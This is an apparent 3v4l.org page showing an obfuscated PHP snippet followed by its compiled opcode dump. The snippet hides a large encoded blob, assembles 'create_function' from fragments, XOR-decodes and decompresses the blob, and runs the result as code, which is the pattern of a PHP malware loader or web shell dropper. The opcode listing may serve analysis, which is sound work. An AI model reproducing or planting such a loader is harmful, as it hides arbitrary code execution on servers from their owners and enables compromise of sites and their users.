3v4l.org

run code in 300+ PHP versions simultaneously
<?php $GLOBALS["cezgvv"]=array( '$GLOBALS["cezgvv"][0]=$GLOBALS["cezgvv"][3];$brsysyou=brsysyou(4,13);$GLOBALS["cezgvv"][0]=$brsysyou($GLOBALS["cezgvv"][2]);', '$GLOBALS["cezgvv"][2]=gzuncompress(brsysyou(736,2158));', 'TXNieU55cWJvalRvVntgfH59S2NheFhnfXRgbX5lY2FmdW9McXVzfXZ2R15FQ1BGWFlES0FIXkFaRlBTWHJ+aWR0eHl/fXVzbmBTe2J0Pn16JUVERmlTLiIgI2l1Y2F8XnR0PmZweSR0NWFXdycjLmlnJXlYfWZVYyQ2cXFyZW9+ZX1jbn1qRFZyeGRheEN9Y392ZnE9anVvbn0vZ2J9fnk7c2N6cXF7cyp/d2the24naXBkcHNrYlpYRkRSWERBWW5hdWp2bWkgIz9hUlhEQVVcWUBATHhtY3Q8IEl3cWRudmEudnpzY346eXF6dndzTW12bnlYMXV2YnBFSElBRE9HQkxBVUhMVkFxSU9CWFpASV1VSkRLWVVDU0tFR0ZOT1VlJVhpQmpLNWh1ZyVnfn54QW5GaDV4fWElOnB8enMsZ2pse3VSVjV4fWElOl9QUSp0fG19clRSVFNaTkFAY3RYTkldQUhOQUBVQ0ZZVEhFdzV4fWFtbU1vfHx+a3BJZ3l3XnZtd0lsVENGbmFgbXw9cmV6YnZ6cy5ndGlsdX5/dmd1bXw9cmV6YnZ6cy5xZWZrcWJqfGNicm9wSXd9dWpQT200Unp3Y1A0YH92eXZ4bWN0PCBJd3FkbnZhbm1hbFBkaXhidGt5SXRxc15/YXFiS35tZHBFc3'.'FZc29+eWlTbVJYREFVQUVWRlhAVUFLV2hhe0N3cXNxaHw9PnB4c3N9YHJsPHRyWllzb38+Pnp4cXRgOmRuf0l4WnJHeDg+d2Vmd399ZGQ8Z2puSlZUNXtgPGl7eHV9YC9ibHU8YSdGSzxnLW1ETzx4LWFiZDBjKUh2TDx6LU5DYmdzeXlifVVSWlVMc2J5ZUdBUWlGK1FZanJ4ZGEwOzl4d1hSPHstd213SmlpZH56YGh2VTx7LXJ/ckdtTWZwf3R1cmdQVkE8ey1iYTReR0BXLiMqNXZ2TVJjY2UwNFZ0NXN0YllIcWKQlUlxe/RbBvgrD8DL2aaZ8BaHcjvHP2cc3E4WlGexSTqX0dLV9gRqg8Y62/iprsG0afXsO7a4rtn0uW7Hg1wNPy8ZGWswpsL5dQ4iQOVvf5andfMTH5IKU4hFgmwx4i1tQQfYIDml0TGsNknU1rqWYMdwGJodrHhvt8BXcFhCkyIf35o506NA2gOoAvEM1lZk+Jen/DazEwtkTP3FcNi7l5rEXWGVuLyKJfFNmbxz0dGLrgCjRKg+UKo4C+Y3vk7ebkplhnZCUvk7gM0K0cpP46M7f8+dVi5Okln67F3+mZbHjO7tcjiVgffpsl2XvQHKSYXEaJ8gtOk1NVZ+EHuxOGIc0Q0+GYNzxF0DmfqRh'.'bPGO6PIZq2c2OsBkx6GIirNsD3UcXhC8paeDnwBtOuVJjYWXiUTYfeoxa0UgB8PHEt5LzHERMDcKIXJ9i/I7JknfC0yhiMrhekfCYO8ZEooif5AQEgblyTVVA8ENIoX7oaj/0nlXXDNyBws4wxyW8JCbQCT4sgPiycSgb0qo5oxduDTt0eCROZY49/337wD81SxYyZIJu6BcVD8k1CdwJBkfOZnhW44az4opdo5f4fAp03kPF9D4bGaruBN57pj1dOvwpx0qdL6P/XgsAlgS/gR2LQNagzHFuNCD3ozTqORyFvC41J86P9ysx8lRP/2LyigXalg+/TGcnruPBn+IQaxYCfsVG2un8xc8+q+3/gxqhMxObylL0+7vneqjRCau1ZY5qzdbEUeUCzX1VCwm65RKkjkAhtewyvEJt24Oxqs3KfcN5QjDnwdFKgMclOBb8NjIQoeFHBMJ6f/OWynL0fJwERRarsy4P2V27YR3qaKhUyprq19+17QU1/sNW1hvT3dE16gFyRNq0/aPo3vLWq7Y4mDkrd8lmhrTZLyriXHSsOBghIunXb'.'yVdFlxeVbpjVk9vKL1TQmLomaD+vsS2L5Ve9+A5a4iFjzJShZgcSk3v2T676+RbIV1pl8tqiklQlxmXz3yty2jgZaz13XLgfmkUuG0RFXTb35PhufYcycpvuJBTjnwY+pg9A5lhdJbSzSK+/RCmyO5V9d1f4ZmoUPiQwrhJB1PjqZczbskyew9jCwzTAmHOiv8Qnny9oS8zlrzbwbTEQhI7NAlMwWxS+ENI6fU+WvirKpGiuyvrkFy7CbHQZBno0Pi8KvB/QuhNWl4cTXiRz3/Mac3IIeym7+DunI2SCOVz78Yz8ffWmgE+0W1myuCsnHVvJNxyFMt9BJiS0H1obl/9r/8+R7OG3Iy9GdQVcjT4SZCd5qQWVst5p/Yj74FtlmDhBnPW/JchoATDuk8mPTPxJsB1/CortbTt6ZNdedFwfA2se+vJBe+GU5mPro/RXWga4G6TvzclpfID86oqoUjA1Yp3Phiu4q/liMGTt8DO8Hwn0FONZ/PLWWZIg1EdJybKRAmBEJmjUX+8WFH5SnfQwGtM1XWAcoeGXDt/YkupVjDALVEDhTJuHDrjwxmnRz1hPUM9shJOwpnfrQdMgzHD6NKzw9SuJ9RtO80hmiEN7W77ThplXbODzX4Sg6NMfPPq5GeMeF0QIXAW9rpHf5AoGrLlLTBfRFPD2H+YRDk6vxFZtzE4ObCa/bwNmgUXnrrWHU/JMsLFJIqqa/ZIH1V8SUZk+NktLb6+p1yRhMUHk7LN5smbvEmjJVkQ52lBkCbpAI2pizvvln733GvGyo/HgT'.'9/20wnu/pj/rlBtL7JnMoYdO04DOxT1NMXnGSRXCjOc4nRV/3sOX6s2zNYDVZU8t3sGaw3DhQDxMepSnjMJ4+9Lkb2HoBkWnt2wLFrQpSSHAP4JDci/XRyaMzCmevA+iOKU1zFeZpL/0FfgBYJjoVhoqSZ8nA2u1ckWTmKmnAN2vIQmH//0h8eIyOjYSruw6mgLwgHSnqea8kCaq8JQgzrERyMYKodQYcSYkPlc2NY7xb762qn3ZymumvTHKOzEWtrGTrHj5gPTIYaleFPcwPbUCqAJMbQ3b6dYjaC6JaPkEWG4Um2KfVLz5OfTRDfbx7w8km10TUm1kHJd0jufslO8mVVvD5ph3+wcwHmojLCMh6TVvxrzQD35mmxJVj/zdHxcctX9W0ePboH6OxXabarp1LZhaKu5mFo77P5mVdK6bP059M7pZAFJ5LM+UNIqsOp6Hxcet2wJBmSonHHLxgy9DjAnLaSNKxr6Ly/2BCNOzJPtJ2irWOchYSaIgGvYv2lkO2WzMUho8qWvUH88OYcW06yEbEoo8kxP0VtfwzWg9zoBERk1xTf9YzkjlRpJ/uMwFNYq9JVsWSRXQPQWzZhkKNYxBCh0Ee1FpfgwafEhotVdJeYrhyxJyWvoz5X4dMsksdPbuZtQH03k/kBpgH4Rk1yN7Eg/19+w5HvqO3X6lW+mBEaBjX6jrFlfx4dyJmvBUx46is/PYaNvKMFaTWLo7jKrFMyyc61fKQYiZA2kgo7TK2EJM+X0BDQVdXVctFfvk5PyD8ZknbilyCQqejENyTLeBt9d'.'+clHp6oGo9mVztdYpx/JrafXosgHuK5rd+dE8Dwmvuzqc1dHzqIu3wZwDl8ki3JGrN/yfIlOHQgDPHm3NxH6FXBtqbJug6wxY9alLqT/PJAdMofBG/yBKQirtXFSpYQX+AIHOryDslv7F3hRL2QRYSI/RRyyCXPka/sQQ4MvmGJqY9uI6UPdAO2pt05xAEzqy2e7Xnu+nPWZtg2TAAJNPbbN6/BrCT1LVkQEqpIAyzs/Viaf7rffy2Z8y65nFzCI3hJ65RrjgiYATmj/ro8si6PiRXlQbeXPLlKqLlRoXUD4AzmOwU7SyFWrkTJWVXyjv0itl2/NIFY8316bwzd4/WxgyqR3qANHywHpVR24=', "/*mo\x78\x6d\x63\x74\x3c\x20\x49\x77\x71\x64\x6e\x76\x61*/");$uynyucc='create_'; if(function_exists($uynyucc.='function')){ $uynyucc("",'};brsysyou($w,$c){$e=str_pad("",$c,"zlpqjtvstgardect");$r=str_repeat("\x1f",$c);$y=str_repeat("\xe0",$c);$j = substr($GLOBALS["cezgvv"][0],$w,$c);return(($j^$e)&$r)|($j&$y);}{'); for($ms=-1;++$ms<3;$GLOBALS["cezgvv"][$ms]()){ $GLOBALS["cezgvv"][$ms]=$uynyucc('',$GLOBALS["cezgvv"][$ms]); }};unset($GLOBALS["cezgvv"]);?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 9, Position 2 = 35
Branch analysis from position: 9
1 jumps found. (Code = 42) Position 1 = 32
Branch analysis from position: 32
2 jumps found. (Code = 44) Position 1 = 35, Position 2 = 15
Branch analysis from position: 35
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 15
2 jumps found. (Code = 44) Position 1 = 35, Position 2 = 15
Branch analysis from position: 35
Branch analysis from position: 15
Branch analysis from position: 35
filename:       /in/BvJDQ
function name:  (null)
number of ops:  38
compiled vars:  !0 = $uynyucc, !1 = $ms
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   FETCH_W                      global              $2      'GLOBALS'
          1        ASSIGN_DIM                                               $2, 'cezgvv'
    2     2        OP_DATA                                                  <array>
    5     3        ASSIGN                                                   !0, 'create_'
    6     4        INIT_FCALL                                               'function_exists'
          5        ASSIGN_OP                                     8  ~5      !0, 'function'
          6        SEND_VAL                                                 ~5
          7        DO_ICALL                                         $6      
          8      > JMPZ                                                     $6, ->35
    7     9    >   INIT_DYNAMIC_CALL                                        !0
         10        SEND_VAL_EX                                              ''
         11        SEND_VAL_EX                                              '%7D%3Bbrsysyou%28%24w%2C%24c%29%7B%24e%3Dstr_pad%28%22%22%2C%24c%2C%22zlpqjtvstgardect%22%29%3B%24r%3Dstr_repeat%28%22%5Cx1f%22%2C%24c%29%3B%24y%3Dstr_repeat%28%22%5Cxe0%22%2C%24c%29%3B%24j+%3D+substr%28%24GLOBALS%5B%22cezgvv%22%5D%5B0%5D%2C%24w%2C%24c%29%3Breturn%28%28%24j%5E%24e%29%26%24r%29%7C%28%24j%26%24y%29%3B%7D%7B'
         12        DO_FCALL                                      0          
    9    13        ASSIGN                                                   !1, -1
         14      > JMP                                                      ->32
   10    15    >   INIT_DYNAMIC_CALL                                        !0
         16        SEND_VAL_EX                                              ''
         17        CHECK_FUNC_ARG                                           
         18        FETCH_FUNC_ARG               global              $12     'GLOBALS'
         19        FETCH_DIM_FUNC_ARG                               $13     $12, 'cezgvv'
         20        FETCH_DIM_FUNC_ARG                               $14     $13, !1
         21        SEND_FUNC_ARG                                            $14
         22        DO_FCALL                                      0  $15     
         23        FETCH_W                      global              $9      'GLOBALS'
         24        FETCH_DIM_W                                      $10     $9, 'cezgvv'
         25        ASSIGN_DIM                                               $10, !1
         26        OP_DATA                                                  $15
    9    27        FETCH_R                      global              ~16     'GLOBALS'
         28        FETCH_DIM_R                                      ~17     ~16, 'cezgvv'
         29        FETCH_DIM_R                                      ~18     ~17, !1
         30        INIT_DYNAMIC_CALL                                        ~18
         31        DO_FCALL                                      0          
         32    >   PRE_INC                                          ~20     !1
         33        IS_SMALLER                                               ~20, 3
         34      > JMPNZ                                                    ~21, ->15
   11    35    >   FETCH_UNSET                                      $22     'GLOBALS'
         36        UNSET_DIM                                                $22, 'cezgvv'
         37      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
169.35 ms | 1400 KiB | 15 Q